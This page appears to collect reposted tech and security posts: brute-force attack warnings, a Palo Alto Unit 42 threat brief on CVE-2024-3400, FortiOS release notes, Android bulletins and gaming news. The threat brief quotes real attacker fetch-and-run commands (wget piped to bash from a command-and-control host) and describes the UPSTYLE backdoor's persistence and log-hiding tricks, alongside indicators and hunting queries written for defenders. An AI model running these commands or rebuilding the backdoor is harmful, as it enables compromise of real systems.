Jump to content
  • SeedTheNet

  • Pages

    Show all categories
    SeedTheNet
    Cisco Talos, along with the Duo Security Research team, extends its gratitude to Brandon White, Phillip Schafer, Mike Moran, and Becca Lynch for their groundbreaking research that has uncovered a concerning trend in cyberattacks.
    Since March 18, 2024, Cisco Talos has been closely monitoring a significant rise in brute-force attacks targeting various entities globally. These attacks are directed towards Virtual Private Network (VPN) services, web application authentication interfaces, and SSH services, posing a serious threat to cybersecurity.
    What's particularly alarming is that these attacks are emanating from TOR exit nodes, as well as a spectrum of other anonymizing tunnels and proxies. This sophisticated approach to conceal the attackers' identities makes it challenging to trace and thwart these malicious activities effectively.
    The repercussions of successful attacks of this nature can be severe, ranging from unauthorized network access and account lockouts to potential denial-of-service (DoS) scenarios. As the frequency of these attacks continues to escalate, it's imperative for organizations to fortify their defenses and remain vigilant against evolving threats.
    While the list of known affected services includes VPN services, web authentication interfaces, and SSH services, it's crucial to note that these attacks may extend to other services as well. Organizations across various sectors must be proactive in implementing robust security measures to mitigate the risks posed by these brute-force attacks.
    Depending on the target environment, successful attacks of this type may lead to unauthorized network access, account lockouts, or denial-of-service conditions. The traffic related to these attacks has increased with time and is likely to continue to rise. Known affected services are listed below. However, additional services may be impacted by these attacks. 
    Cisco Secure Firewall VPN  Checkpoint VPN   Fortinet VPN   SonicWall VPN   RD Web Services  Miktrotik  Draytek  Ubiquiti  The brute-forcing attempts use generic usernames and valid usernames for specific organizations. The targeting of these attacks appears to be indiscriminate and not directed at a particular region or industry. The source IP addresses for this traffic are commonly associated with proxy services, which include, but are not limited to:  
    TOR    VPN Gate   IPIDEA Proxy   BigMama Proxy   Space Proxies   Nexus Proxy   Proxy Rack  Cisco Talos remains committed to monitoring and analyzing these threats, collaborating with industry experts, and providing timely insights and solutions to safeguard digital infrastructures against emerging cyber threats.
    https://blog.talosintelligence.com/large-scale-brute-force-activity-targeting-vpns-ssh-services-with-commonly-used-login-credentials/
    SeedTheNet
    In a surprising twist of events, the recent release of Amazon's highly anticipated Fallout TV show has reignited interest in the iconic Fallout game series. Fans old and new are diving back into the post-apocalyptic world, drawn by the show's captivating narrative and nostalgic allure.
    What sets the Fallout TV show apart is its faithful adaptation of the game universe, capturing the essence of the series and translating it into a compelling visual narrative. This authenticity has resonated with viewers, inspiring many to pick up the controller and experience the wasteland firsthand.
    For existing fans, the show serves as a nostalgic reminder of their adventures in the Fallout universe, while newcomers are intrigued by the unique blend of retro-futurism, dark humor, and moral dilemmas that define the games.
    The connection between the TV show and the games has created a symbiotic relationship, with each medium complementing the other to create a richer, more immersive experience. As discussions and excitement around Fallout continue to grow, the community is buzzing with theories, fan creations, and shared experiences.
    With the Fallout TV show acting as a catalyst, the games are once again in the spotlight, drawing in players old and new to explore the radioactive ruins, face off against mutated creatures, and navigate the complexities of a post-nuclear world.
    Looking at the SteamDB.info website , it shows that there is a GAIN of +139.0%  which brought around 35k players more
    Fallout 4 : 

    Fallout 3 saw a small jump : 

    Fallout 76 124% which is around 15k players more

     
    The Fallout 4 next-gen upgrade is slated for release on April 25
    SeedTheNet
    When it comes to cybersecurity, staying ahead of the game is crucial. Palo Alto Networks, along with Unit 42, is actively monitoring and responding to the latest security challenges that could affect networks worldwide. One such challenge is the critical command injection vulnerability known as CVE-2024-3400, which poses a serious risk to users of Palo Alto Networks PAN-OS software.
    This article takes a closer look at CVE-2024-3400, emphasizing its severity with a CVSS score of 10.0
     
    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.
    Fixes for PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 are in development and are expected to be released by April 14, 2024. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability. All other versions of PAN-OS are also not impacted.

    Required Configuration for Exposure
    This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both) and device telemetry enabled.
    You can verify whether you have a GlobalProtect gateway or GlobalProtect portal configured by checking for entries in your firewall web interface (Network > GlobalProtect > Gateways or Network > GlobalProtect > Portals) and verify whether you have device telemetry enabled by checking your firewall web interface (Device > Setup > Telemetry).
     
    Severity: CRITICAL
    CVSSv4.0 Base Score: 10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:U/V:C/RE:M/U:Red)
    Exploitation Status
    Palo Alto Networks is aware of a limited number of attacks that leverage the exploitation of this vulnerability.
    More information about the vulnerability's exploitation in the wild can be found in the Unit 42 threat brief: https://unit42.paloaltonetworks.com/cve-2024-3400/.
    Weakness Type
    CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
    Solution
    This issue will be fixed in hotfix releases of PAN-OS 10.2.9-h1 (ETA: By 4/14), PAN-OS 11.0.4-h1 (ETA: By 4/14), and PAN-OS 11.1.2-h3 (ETA: By 4/14), and in all later PAN-OS versions.
    Workarounds and Mitigations
    Recommended Mitigation: Customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682).
    In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184 for more information.
    If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device.
    Please see the following page for details on how to temporarily disable device telemetry: https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable.
    Executive Summary
    Palo Alto Networks and Unit 42 are engaged in tracking activity related to CVE-2024-3400 and are working with external researchers, partners and customers to share information transparently and rapidly.
    A critical command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. The vulnerability, assigned CVE-2024-3400, has a CVSS score of 10.0.
    This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with a GlobalProtect gateway and device telemetry enabled. This issue does not affect cloud firewalls (Cloud NGFW), Panorama appliances or Prisma Access. For up-to-date information about affected products and versions, please refer to the Palo Alto Networks Security Advisory on this issue.

    Palo Alto Networks is aware of malicious exploitation of this issue. We are tracking the initial exploitation of this vulnerability under the name Operation MidnightEclipse, as we assess with high confidence that known exploitation we’ve analyzed thus far is limited to a single threat actor. We also assess that additional threat actors may attempt exploitation in the future.
    This threat brief will cover information about the vulnerability and what we know about post-exploitation. We will share interim guidance to mitigate the vulnerability, though readers should also refer to the security advisory for specific product version information and remediation guidance. We will continue to update this threat brief as more information becomes available.
    If you believe your firewall has been compromised, please reach out to Palo Alto Networks support.
    This issue will be fixed in an upcoming release of PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1 and all later PAN-OS versions by ETA April 14, 2024.
    As a matter of best practice, Palo Alto Networks recommends that you monitor your network for abnormal activity and investigate any unexpected network activity.
    We would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis.
    Palo Alto Networks customers receive protections from and mitigations for CVE-2024-3400 and malware used in post-exploitation activity in the following ways:
    Palo Alto Networks recommends customers with a Threat Prevention subscription block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682). In addition to enabling Threat ID 95187, customers must ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see the relevant LIVEcommunity article for more information.
    If you are unable to apply the Threat Prevention based mitigation at this time, you can still mitigate the impact of this vulnerability by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version. Once upgraded, device telemetry should be re-enabled on the device.
    The Managed Threat Hunting section below includes XQL queries that can be used to search for signs of exploitation of this CVE.
    The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.
    Vulnerabilities Discussed CVE-2024-3400 Table of Contents
    Details of the Vulnerability
    Current Scope of the Attack
    Interim Guidance
    Unit 42 Managed Threat Hunting Queries
    Conclusion
    Palo Alto Networks Product Protections for CVE-2024-3400
    Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention
    Cortex XDR, XSIAM and the Unified Cloud Agent
    Cortex Xpanse and XSIAM ASM Module
    Indicators of Compromise
    UPSTYLE Backdoor
    Command and Control Infrastructure
    Hosted Python Backdoor
    Observed Commands
    Additional Resources
    Details of the Vulnerability
    A command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0 and PAN-OS 11.1 firewall configurations with both a GlobalProtect gateway and device telemetry enabled.
    You can verify whether you have these features configured by checking for entries in your firewall web interface. Our security advisory includes a link to further instructions on how to temporarily disable device telemetry.
    Palo Alto Networks is aware of targeted attacks that leverage this vulnerability. The next section covers details of the post-exploitation activity we’ve observed.
    Current Scope of the Attack
    As part of the activity observed in Operation MidnightEclipse, after exploitation, the threat actor created a cronjob that would run every minute to access commands hosted on an external server that would execute via bash, as seen in the following command:
    wget -qO- hxxp://172.233.228[.]93/policy | bash We were unable to access the commands executed via this URL. However, we believe this URL was used to deploy a second Python-based backdoor, which our colleagues at Volexity referred to as UPSTYLE.
    The UPSTYLE backdoor uploaded to the firewall was hosted at hxxp://144.172.79[.]92/update.py, but we saw a similar backdoor hosted at nhdata.s3-us-west-2.amazonaws[.]com. According to the HTTP headers, it appears the threat actor last modified it on April 7, 2024.
      1 2 3 4 5 6 7 8 9 10 11 12 13 Accept-Ranges: bytes   Content-Length: 5187   Content-Type: application/octet-stream   Date: Thu, 11 Apr 2024 16:12:16 GMT   Etag: "6612443d-1443"   Last-Modified: Sun, 07 Apr 2024 06:59:09 GMT   Server: nginx/1.18.0 (Ubuntu) The update.py file hosted at 144.172.79[.]92 has a SHA256 value of 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac. This file is a backdoor that has multiple layers.
    First, update.py writes another Python script to the following location:
    [snip]/site-packages/system.pth The Python script written to system.pth Base64 decodes an embedded Python script and executes it. This embedded Python script has two functions named protect and check, which are called in that order. The protect function sends a SIGTERM signal and writes the contents of the system.pth file back to itself, likely as a persistence mechanism. The check function will read /proc/self/cmdline to see if it is running as monitor mp before running another Base64 embedded Python script, which is the functional backdoor.
    The Python script run by system.pth has a function named __main that will run in a thread. This function first reads the contents of the following file, along with its access and modified times:
    [snip]/css/bootstrap.min.css It then enters an infinite loop that iterates once every two seconds, reading in the following file:
    [snip]/sslvpn_ngx_error.log The script will then iterate through each line of the file and search the line for the threat actor's command using the following regular expression:
    img\[([a-zA-Z0-9+/=]+)\] If the above regular expression matches, the script will Base64 encode the contents of the command and run it using the popen method within Python's OS module. The lines of the sslvpn_ngx_error.log file that do not match the regular expression are written back to the file, which essentially prunes the lines that contain commands from persisting in the sslvpn_ngx_error.log file for later analysis.
    After running the command, the script writes the output of the command to the following file:
    [snip]/css/bootstrap.min.css The script will then create another thread that runs a function called restore. The restore function takes the original content of the bootstrap.min.css file, as well as the original access and modified times, sleeps for 15 seconds and writes the original contents back to the file and sets the access and modified times to their originals. The point of this function is to avoid leaving the output of the commands available for analysis. Also, this suggests that the threat actor has automation built into the client side of this backdoor, as they only have 15 seconds to grab the results before the backdoor overwrites the file.
    Using the initial backdoor in the crontab, we have evidence of a handful of the commands the threat actor ran on the firewall. The commands include copying configuration files to the web application folder and exfiltrating them via HTTP requests to those files. The following IP address was seen attempting to access a specific configuration file copied to this folder, which we believe is a VPN used by the threat actor:
    66.235.168[.]222 We also observed the threat actor running another command to receive commands from a slightly different URL as the cronjob backdoor:
    wget -qO- hxxp://172.233.228[.]93/patch|bash Lastly, the threat actor cleaned up after themselves by removing all files associated with the backdoors and clearing their cronjobs.
    Interim Guidance
    Please refer to the Palo Alto Networks security advisory on CVE-2024-3400 for the most current interim guidance for mitigating the vulnerability.
    Unit 42 Managed Threat Hunting Queries
    The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit this CVE across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation.
      1 2 3 4 // Description: Search for domain IOC in raw NGFW logs dataset = panw_ngfw_url_raw | filter url_domain ~= ".*nhdata.s3-us-west-2.amazonaws.com" | fields _time, log_source_name, action, app, url_domain, uri, url_category, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid  
      1 2 3 4 5 // Description: Detect hits for the specific prevention signature for CVE-2024-3400 config case_sensitive = false | dataset = panw_ngfw_threat_raw | filter threat_id = "95187" | fields _time, log_source_name, action, app_category, app_sub_category, threat_id, threat_name, source_ip, source_port, dest_ip, dest_port, *  
      1 2 3 4 5 // Description: Hits for known IOCs in NGFW traffic config case_sensitive = false | dataset = panw_ngfw_traffic_raw | filter source_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93") or dest_ip in ("66.235.168.222", "144.172.79.92", "172.233.228.93") | fields _time, log_source_name, action, action_source, app, bytes_sent, bytes_received, bytes_total, source_ip, source_port, dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid, session_end_reason  
      1 2 3 4 5 6 // Description: Hits for known IOCs in XDR telemetry and NGFW telemetry (assuming proper integration of NGFW) config case_sensitive = false | dataset = xdr_data | filter event_type = ENUM.STORY | filter action_remote_ip in ("172.233.228.93", "66.235.168.222", "144.172.79.92") OR dns_query_name ~= ".nhdata.s3-us-west-2.amazonaws.com" OR action_external_hostname ~= ".nhdata.s3-us-west-2.amazonaws.com" | fields _time, agent_hostname, actor_process_image_name, action_local_ip, action_remote_ip, action_remote_port, dns_query_name, action_external_hostname  
    Conclusion
    The security advisory will continue to provide up to date information on impacts to Palo Alto Networks products and recommended mitigations. We will continue to update this threat brief with information on exploitation.
    Again, Palo Alto Networks would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity’s blog for their analysis.
    Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
    Protections and mitigations for the observed exploitation activity are below and will be updated as more become available.
    Palo Alto Networks Product Protections for CVE-2024-3400
    Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.
    If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
    North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention
    Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block exploitation of CVE-2024-3400 via Threat Prevention signature: 95187.
    Cortex XDR, XSIAM and the Unified Cloud Agent 
    Cortex XDR and XSIAM agents and analytics help protect and detect against post-exploitation activity if an attacker tries to enumerate or laterally move to other assets.
    Cortex Xpanse and XSIAM ASM Module
    Cortex Xpanse has the ability to identify exposed Palo Alto Networks GlobalProtect devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Palo Alto Networks GlobalProtect Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.
    Indicators of Compromise
    UPSTYLE Backdoor
    Update.py 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac 5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078 Command and Control Infrastructure
    172.233.228[.]93 hxxp://172.233.228[.]93/policy hxxp://172.233.228[.]93/patch 66.235.168[.]222 Hosted Python Backdoor
    144.172.79[.]92 nhdata.s3-us-west-2.amazonaws[.]com Observed Commands
    wget -qO- hxxp://172.233.228[.]93/patch|bash wget -qO- hxxp://172.233.228[.]93/policy | bash Additional Resources
    CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect Gateway – Palo Alto Networks Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400) – Volexity Palo Alto Networks Releases Guidance for Vulnerability in PAN-OS, CVE-2024-3400 – Cybersecurity and Infrastructure Security Agency (CISA) Updated April 12, 2024, at 10:15 a.m. PT to add Cortex XDR and XSIAM product protections, as well as Additional Resources. 
    Updated April 12, 2024, at 12:45 a.m. PT to add Cortex Xpanse product protections.
    UPDATE :
    Unfortunately, Palo Alto Networks updated their advisory today to warn that previously shared mitigations have been found to be ineffective at protecting devices from the vulnerability.
    "Earlier versions of this advisory, disabling device telemetry was listed as a secondary mitigation action. Disabling device telemetry is no longer an effective mitigation," reads an update to Palo Alto's advisory.
    "Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability."
    Therefore, the best solution is to install the latest PAN-OS software update to fix the vulnerability.
    Additionally, if you have an active 'Threat Prevention' subscription, you can block ongoing attacks by activating 'Threat ID 95187' threat prevention-based mitigation.
    https://unit42.paloaltonetworks.com/cve-2024-3400/
    SeedTheNet
    We are pleased to inform you that Fortinet has released the latest update for FortiOS 7.0, version 7.0.15. This update brings a range of enhancements, optimizations, and security updates to further strengthen your network infrastructure's resilience and performance.
    Key highlights of the FortiOS 7.0.15 update include:
    Resolved issues
    7.0.15   The following issues have been fixed in version 7.0.15. To inquire about a particular bug, please contact Customer Service & Support. Application Control
    Bug ID
    Description
    952307
    FG-400F sees increased packet loss when using an application list in the policy.
    FortiGate 6000 and 7000 platforms
    Bug ID
    Description
    949175
    During FIM failover from FIM2 to FIM1, the NP7 PLE sticks on a cache invalidation, stopping traffic.
    HA
    Bug ID
    Description
    869557
    Upgrading or re-uploading an image to the HA secondary node causes the OS to be un-certified.
    1011674
    Upgrading from 7.0.14 GA to 7.2.8 GA from an HA secondary node fails with BIOS security level 2. The new image is unrecognized as un-certified and aborts the upgrade process. The HA cluster is unaffected.
    Hyperscale
    Bug ID
    Description
    936747
    Connections per second (CPS) performance of SIP sessions accepted by hyperscale firewall policies with EIM and EIF disabled that include overload with port block allocation (PBA) GCN IP pools is lower than expected.
    949188
    ICMP reply packets are dropped by FortiOS in a NAT64 hyperscale policy.
    961684
    When DoS policies are used and the system is under stress conditions, BGP might go down.
    976972
    New primary can get stuck on failover with HTTP CC sessions.
    Intrusion Prevention
    Bug ID
    Description
    968367
    IPS engine high memory usage can cause FortiOS to go into conserve mode.
    Limitations
    Bug ID
    Description
    961992
    The buffer and description queue limitation of Marvell switch ports causes a performance limitation.
    Routing
    Bug ID
    Description
    935370
    SD-WAN performance SLA tcp-connect probes clash with user sessions.
    Security Fabric
    Bug ID
    Description
    887967
    Fabric crashes when synchronizing objects with names longer than 64 characters.
    988526
    Address object changes from the CLI of the root FortiGate in Security Fabric are not synchronized with downstream devices.
    SSL VPN
    Bug ID
    Description
    821240
    SSLVPNVD 11 signal failure due to attempt to read out of bounds memory.
    System
    Bug ID
    Description
    828557
    FortiGate as DHCP relay is not showing a DHCP decline in the debugs when there is an IP conflict in the network.
    888941
    Some sessions are still reported as offloaded when auto-asic-offload is disabled.
    910829
    Degraded traffic bandwidth for download passing from 10G to 1G interfaces.
    937500, 969083
    FortiOS does not accept an installation script from FortiManager when creating an extender-profile with login-password-change is set to yes.
    938449
    In the 4.19 kernel, when a neighbor's MAC is changed, the session and IPsec tunnel cannot be flushed from the NPU.
    943090
    Buffer and description queue limitation of Marvell switch port will cause a performance limitation.
    949481
    The tx_collision_err counter in the FortiOS CLI keeps increasing on both 10G SFP+ X1 and X2 interfaces.
    956107
    On the FortiGate 400F and 600F, the buffer and description queue limitation of the Marvell switch port causes a performance limitation.
    984696
    Network usage is not accurately reported by the get system performance status command.
    986698
    The NP7 should use the updated MAC address from the ARP table to forward traffic to the destination server.
    1001938
    Support Kazakhstan time zone change to a single time zone, UTC+5.
    User & Authentication
    Bug ID
    Description
    1000108
    Guest-management administrators cannot see or print guest user passwords in plain text; the password is masked as ENC XXXX string.
    WiFi Controller
    Bug ID
    Description
    821320
    FG-1800F drops wireless client traffic in L2 tunneled VLAN with capwap-offload enabled.
     
    We strongly recommend applying this update to your Fortinet devices to benefit from the latest features, security enhancements, and performance optimizations. Keeping your systems up to date is crucial in maintaining a secure and efficient network environment.
    For more information about the update process, release notes, and support resources, please visit the Fortinet Support Portal or reach out to Fortinet dedicated support team for assistance.
    SeedTheNet
    Google Issues Security Warning for Pixel Devices: Critical Vulnerabilities Detected
    Google has issued a security advisory to Pixel users, alerting them to two high severity vulnerabilities that may be under limited, targeted exploitation. These vulnerabilities, identified as CVE-2024-29745 and CVE-2024-29748, pose significant risks and require immediate attention.
    The first vulnerability, CVE-2024-29745, is classified as an information disclosure vulnerability in the bootloader component. Bootloaders play a crucial role in the boot process of devices, ensuring that essential operating system data is loaded into memory during startup. Exploitation of this vulnerability could lead to unauthorized access to sensitive information stored on the device.
    The second vulnerability, CVE-2024-29748, is an elevation of privilege (EoP) vulnerability found in the Pixel firmware. Firmware serves as device-specific software that provides fundamental machine instructions necessary for hardware functionality and interaction with other software components. If exploited, this vulnerability could allow attackers to escalate their privileges on the device, potentially gaining control over critical system functions.
    To address these security risks, Google has released a security patch with a designated level of 2024-04-05 for Pixel devices. It is imperative for Pixel users to apply this security patch promptly to protect their devices from potential exploitation and mitigate the associated risks.
    Google emphasizes the importance of keeping devices up to date with the latest security patches and software updates to ensure optimal security posture and protect against emerging threats. Users are encouraged to enable automatic updates and regularly check for security patches to stay protected from vulnerabilities and cyber threats.
    In conclusion, the detection and prompt mitigation of these high severity vulnerabilities underscore Google's commitment to prioritizing user security and addressing potential security risks proactively. Pixel users are urged to take immediate action by applying the latest security patch to safeguard their devices and mitigate the risks associated with these vulnerabilities.
    ------------------
    Android Security Bulletin—April 2024
      Published April 1, 2024 The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2024-04-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.
    Android partners are notified of all issues at least a month before publication. Source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will revise this bulletin with the AOSP links when they are available.
    The most severe of these issues is a high security vulnerability in the System component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.
    Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.
    Android and Google service mitigations
    This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.
    Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible. The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play. 2024-04-01 security patch level vulnerability details
    In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-04-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.
    Framework
    The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.
    CVE References Type Severity Updated AOSP versions CVE-2024-23710 A-311374917 EoP High 13, 14 CVE-2024-23713 A-305926929 EoP High 12, 12L, 13, 14 CVE-2024-0022 A-298635078 ID High 13, 14 CVE-2024-23712 A-304983146 DoS High 12, 12L, 13, 14 System
    The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.
    CVE References Type Severity Updated AOSP versions CVE-2024-23704 A-299931761 EoP High 13, 14 CVE-2023-21267 A-218495634 [2] [3] ID High 12, 12L, 13, 14 CVE-2024-0026 A-308414141 DoS High 12, 12L, 13, 14 CVE-2024-0027 A-307948424 DoS High 12, 12L, 13, 14 Google Play system updates
    There are no security issues addressed in Google Play system updates (Project Mainline) this month.
    2024-04-05 security patch level vulnerability details
    In the sections below, we provide details for each of the security vulnerabilities that apply to the 2024-04-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.
    MediaTek components
    These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.
    CVE References Severity Subcomponent CVE-2024-20039 A-323462011
    M-MOLY01240012 * High Modem Protocol CVE-2024-20040 A-323465955
    M-ALPS08360153 * High wlan firmware CVE-2023-32890 A-323469023
    M-MOLY01183647 * High Modem EMM Widevine
    This vulnerability affects Widevine components and further details are available directly from Widevine. The severity assessment of this issue is provided directly by Widevine.
    CVE References Severity Subcomponent CVE-2024-0042 A-312543200 * High Widevine DRM Qualcomm components
    These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.
    CVE References Severity Subcomponent CVE-2024-21468 A-318393412
    QC-CR#3614610 [2] High Kernel CVE-2024-21472 A-318393741
    QC-CR#3626401 High Kernel Qualcomm closed-source components
    These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.
    CVE References Severity Subcomponent CVE-2023-28582 A-299147008 * Critical Closed-source component CVE-2023-28547 A-303101227 * High Closed-source component CVE-2023-33023 A-303101376 * High Closed-source component CVE-2023-33084 A-299146258 * High Closed-source component CVE-2023-33086 A-299146962 * High Closed-source component CVE-2023-33095 A-299146595 * High Closed-source component CVE-2023-33096 A-299146025 * High Closed-source component CVE-2023-33099 A-303101372 * High Closed-source component CVE-2023-33100 A-303101224 * High Closed-source component CVE-2023-33101 A-303101066 * High Closed-source component CVE-2023-33103 A-299146257 * High Closed-source component CVE-2023-33104 A-299146882 * High Closed-source component CVE-2023-33115 A-303101567 * High Closed-source component CVE-2024-21463 A-318393254 * High Closed-source component Common questions and answers
    This section answers common questions that may occur after reading this bulletin.
    1. How do I determine if my device is updated to address these issues?
    To learn how to check a device's security patch level, see Check and update your Android version.
    Security patch levels of 2024-04-01 or later address all issues associated with the 2024-04-01 security patch level. Security patch levels of 2024-04-05 or later address all issues associated with the 2024-04-05 security patch level and all previous patch levels. Device manufacturers that include these updates should set the patch string level to:
    [ro.build.version.security_patch]:[2024-04-01] [ro.build.version.security_patch]:[2024-04-05] For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2024-04-01 security patch level. Please see this article for more details on how to install security updates.
    2. Why does this bulletin have two security patch levels?
    This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.
    Devices that use the 2024-04-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins. Devices that use the security patch level of 2024-04-05 or newer must include all applicable patches in this (and previous) security bulletins. Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.
    3. What do the entries in the Type column mean?
    Entries in the Type column of the vulnerability details table reference the classification of the security vulnerability.
    Abbreviation Definition RCE Remote code execution EoP Elevation of privilege ID Information disclosure DoS Denial of service N/A Classification not available 4. What do the entries in the References column mean?
    Entries under the References column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.
    Prefix Reference A- Android bug ID QC- Qualcomm reference number M- MediaTek reference number N- NVIDIA reference number B- Broadcom reference number U- UNISOC reference number 5. What does an * next to the Android bug ID in the References column mean?
    Issues that are not publicly available have an * next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.
    6. Why are security vulnerabilities split between this bulletin and device/partner security bulletins, such as the Pixel bulletin?
    Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device/partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.
    SeedTheNet
    WhatsApp, the popular messaging platform used by billions worldwide, experienced a major outage today at 9:00 pm, causing users to be unable to send or receive messages. The outage affected users across various regions
     

    Image source : https://downdetector.com/status/whatsapp/
    Service seems to be back to normal.
    SeedTheNet
    Sega's recent announcement of extensive layoffs has sent shockwaves through the gaming industry, impacting key studios such as Sega Europe, Creative Assembly, and Hardlight. The news came in an email from Sega Europe boss Jurgen Post, detailing the layoffs affecting approximately 240 roles across these studios. Notably, the email also mentioned the sale of Relic Entertainment, responsible for iconic titles like Company of Heroes and Dawn of War.
    While specific numbers for each studio were not disclosed, Sega did confirm that Sports Interactive and Two Point Studios, also under the Sega Europe umbrella, were not affected. Despite the layoffs, Creative Assembly's upcoming projects, including new entries in the Total War series and an unannounced project, are still in active development.
    The sale of Relic Entertainment marks a significant transition as the studio moves towards becoming independently operated. Sega expressed its support for this shift, indicating a positive outlook for Relic's future endeavors. Relic itself affirmed its newfound independence, mentioning an external investor aiding in this transition. Notably, work on Company of Heroes 3 and ongoing support for their existing games will continue unabated.
    This announcement underscores the volatile nature of the gaming industry, where companies must navigate evolving market dynamics while striving to maintain creativity and innovation. As Sega and its associated studios navigate these changes, the gaming community eagerly anticipates the future projects and developments that will emerge from this transformative period.
    With Relic have posted this with the news announcement :

